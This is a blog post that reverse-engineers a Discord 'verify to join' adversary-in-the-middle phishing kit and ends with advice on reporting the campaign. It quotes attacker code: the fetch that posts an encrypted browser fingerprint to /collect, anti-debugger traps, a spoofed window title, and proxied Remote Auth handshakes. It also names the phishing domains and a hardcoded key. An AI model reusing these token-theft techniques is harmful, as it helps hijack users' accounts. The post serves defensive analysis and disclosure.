Back to all blogs
#security
#reverse-engineering
#discord
#phishing
March 23, 2026
9 min read
A blog post byThereallo

Reverse Engineering a Discord AiTM Phishing Kit

Adversary-in-the-middle proxy that intercepts Discord tokens. Here is how the whole thing works.

Someone in a server I was in posted a message with a Discord invite link.
On joining, you are greeted with an embed asking you to verify to gain access to the rest of the Discord server channels.
This is one of the most common scams out there on Discord, aka verification scam.

The invite redirected to a URL shortener, which redirected to this:
https://process-age.top/verify?data=YWJjeyJndWlsZElkIjoiMTI0Njc0...
The data parameter is base64. Decode it and you get garbled bytes at the start, then valid JSON:
YWJj = "abc"  (junk prefix, strips 3 bytes to misalign naive decoders)
json
{
  "guildId": "1246746427410092043",
  "clientId": "1484927178377265203",
  "expires": 1774201445903,
  "domain": "login.process-age.top",
  "name": "Only Kitty ...",
  "members": 13956,
  "icon": "https://cdn.discordapp.com/icons/..."
}
The clientId field resolves to MEE6's real Discord app ID. The domain field is the phishing subdomain. The expires field is a Unix timestamp in milliseconds. This link expired roughly 48 hours after it was generated.
When a link expires, the server decodes the data parameter, checks the timestamp, and issues a 302 to captcha.bot, a redirect to the legitimate verification service. A dead link looks like a session timeout.

The page at /verify is a pixel-perfect clone of captcha.bot, the real Discord verification service run by Privy.gg.
It pulls the server name, icon, and member count from the decoded JSON and renders them into the template. Every link in the footer points to the real captcha.bot. The "Get help" and "Terms" buttons in the card go to real captcha.bot pages. There is a real ad unit. There is a real Cloudflare Insights beacon. The Cloudflare analytics token is 785407d363a0439084cd43bb6aa1c02f, which ties every domain in this operation to the same Cloudflare account.
Before the user does anything, the page loads collect.js.

collect.js is a 5k lines of obfuscated script that runs silently on page load. It collects a full browser fingerprint before the user clicks a single thing.
It gathers twelve categories of data:
CategoryWhat gets sent
screenResolution, pixel ratio, orientation, color depth
navigatorUser agent, platform, CPU cores, device memory, plugins
audioAudioContext fingerprint (a float unique to your hardware)
canvasRendered pixel data from a hidden canvas element
webRTCFull SDP offer including codec capabilities
gpuGPU model, feature flags, WebGPU limits
webglRenderer string, extension list, precision values
performanceJS heap size, stack depth, loop timing
storagelocalStorage, sessionStorage, indexedDB availability
intlTimezone, locale, epoch offset
windowChrome APIs present, computed styles, media query results
eventsTwo fingerprint hashes derived from canvas and unknown sources
After collecting all of this, it runs a SHA-256 proof-of-work challenge with a difficulty of 1000 iterations. This exists to verify the client is a real browser capable of running WASM-level crypto. A headless bot or simple HTTP request fails here.
The fingerprint is then zlib-deflated, base64-encoded, and AES-GCM encrypted with a hardcoded 32-byte key before being POSTed to /collect:
Key: 731c4074ccd79e1f69f968402eeeecf6ef8ecc01346c3c79f929183c39383d7b
js
await fetch(location.origin + "/collect", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ data: encryptedPayload, t: timingMeasurement })
});
The server uses this to decide: real human with a genuine browser, or a researcher. If you pass, you get a session cookie and the page proceeds. If you don't, or if your session cookie is missing when you hit the login domain, you get redirected to the real captcha.bot.
I decrypted a captured payload. The fingerprint included timezone: Asia/Tokyo from a Windows machine behind a US residential proxy.
The script also has an anti-debugging layer. Right-click is disabled. F12, Ctrl+Shift+I, Ctrl+Shift+J, and Ctrl+U are all intercepted and swallowed. If the debugger is detected, the script triggers an IP blacklist and redirects you to the real captcha.bot. Analyzed from a flagged IP, the site looks completely legitimate.
js
// anti-debugger trap inside collect.js
function() {}.constructor("while (true) {}").apply("counter")
(function() { return true; }).constructor("debugger").call("action")
Anti anti-debugger does bypass this.

When you click "Login to verify", a new window opens. The address bar shows about:blank.
The window title is set immediately via JavaScript:
js
document.title = "🔒 https://discord.com/oauth2/authorize?client_id=512333785338216465";
In the taskbar and in the tab strip, the window looks like a legitimate Discord authorization prompt. The address bar reads about:blank, which looks like a normal OAuth popup.
Inside the window is a single fullscreen iframe:
https://login.process-age.top/oauth2/authorize
  ?client_id=512333785338216465
  &redirect_uri=https://captcha.bot/callback
  &response_type=code
  &scope=identify guilds guilds.members.read role_connections.write
  &state=<encoded>
The client_id is 512333785338216465, which is the real captcha.bot's Discord application. The redirect_uri points to the real captcha.bot callback. Everything looks correct except the domain serving it, which is login.process-age.top instead of discord.com.
The state parameter is the guild JSON, base64-encoded twice, then reversed as a string. Cosmetic obfuscation.

login.process-age.top is not a static phishing page but a full adversary-in-the-middle proxy of Discord's entire web interface (discord.com/login).
Every request the browser makes to what it believes is Discord is intercepted, forwarded to the real Discord servers, and returned through the proxy. The page looks and works exactly like Discord's OAuth flow because it is Discord's OAuth flow, with one extra hop in the middle.
https://login.process-age.top/api/v9/auth/location-metadata
Returns a real Discord API response:
json
{"consent_required": false, "country_code": "US", "promotional_email_opt_in": {"required": false}}
Real Discord JavaScript bundles are served through the proxy. A real WASM module is loaded for Discord's cryptographic operations. Nothing in the page's behavior is faked because nothing needs to be.
The proxy reads the responses before forwarding them. When Discord's API returns {"token": "..."} after a successful login, the proxy logs it and passes it to the victim. The victim sees a successful authorization. The attacker has the token.

The proxy also establishes a WebSocket connection to Discord's Remote Auth gateway, which is the same protocol used for QR code logins on mobile.
wss://login.process-age.top/?v=2
This is a proxied connection to wss://remote-auth-gateway.discord.gg/?v=2. The handshake:
json
{"op": "init", "encoded_public_key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA..."}
{"op": "hello", "timeout_ms": 320855, "heartbeat_interval": 41250}
{"op": "nonce_proof", "encrypted_nonce": "QleRI5X2n3ZCBkxYN64m6z..."}
{"op": "nonce_proof", "nonce": "N76ktP4ztGdXFWE0Q7PJFYbIM8RFreOlDeRvoPItk-4..."}
{"op": "pending_remote_init", "fingerprint": "cmcnRvHT29QJCEqV2TI59WixLNjeP0jqUOUyS20vAco"}
The proxy generates an RSA key pair, sends the public key to Discord, decrypts the nonce challenge, and gets a fingerprint back. That fingerprint represents a pending Remote Auth session at discord.com/ra/<fingerprint>.
If a logged-in Discord mobile user scans a QR code containing that URL, Discord sends the victim's token directly to the proxy's waiting WebSocket connection. No credentials entered, no OAuth flow, no warning. Token delivered by Discord itself.
This runs in parallel with the standard email and password login flow. Two token extraction paths active simultaneously.

While I was analyzing the original domain, it expired. The link died and started bouncing to captcha.bot. Within hours, the same campaign was running on a new domain.
process-age.top -> registered 2026-03-22, certs issued same day
verification-process.icu -> registered 2026-03-23, certs issued same day
Both domains got the same two certificates on the day of registration: one from Let's Encrypt E7 and one from Sectigo DV E36. Same tooling, same pipeline. The data parameter in the new URL had "domain": "login.verification-process.icu" and a fresh expiry timestamp. Everything else was identical.
The member count in the new URL was 16,717. The old one was 13,956. In roughly eleven hours, the server had gained 2,761 members.

Discord spam message
  -> URL shortener (is.gd)
    -> /verify?data=<base64 guild JSON>
      -> captcha.bot clone loads
        -> collect.js fingerprints browser silently
          -> POST /collect with encrypted fingerprint
            -> session cookie issued if real browser
              -> "Login to verify" opens about:blank popup
                -> iframe loads fake Discord OAuth
                  -> full AiTM proxy intercepts login
                    -> token captured server-side in transit
                      -> victim redirected to real captcha.bot
The victim successfully verified. The bot gave them access to the server (or so they think). Nothing went wrong from their perspective.

Every visible element is borrowed from a real service.
The verification page is a real service's interface. The OAuth prompt is Discord's real interface, served through a proxy. The window title is a real URL. The redirect lands on the real captcha.bot. The whole chain reads as legitimate because most of it is.
The only custom components are the verify page wrapper and the proxy layer. Everything else is authentic material used to create a plausible container for the attack.
The time-limited links mean old URLs die cleanly with a legitimate-looking redirect rather than a broken page. The fingerprinting gate keeps automated scanners out. The anti-debugger redirects researchers to the real service. By the time a security researcher has a working link and a non-flagged IP, the link has often already expired.

If you run into this campaign:
  • Guild ID and OAuth app can both be reported to Discord Trust and Safety at dis.gd/report
  • Domains can be reported to Cloudflare abuse, since both are behind Cloudflare (analytics token 785407d363a0439084cd43bb6aa1c02f)
  • Short links through is.gd have an abuse form
  • The domains themselves can be reported to their registrars via ICANN's UDRP process
The infrastructure rotates fast. By the time a domain is reported and actioned, they're already on the next one. The useful targets are the guild ID and the OAuth application, which are static across the entire campaign.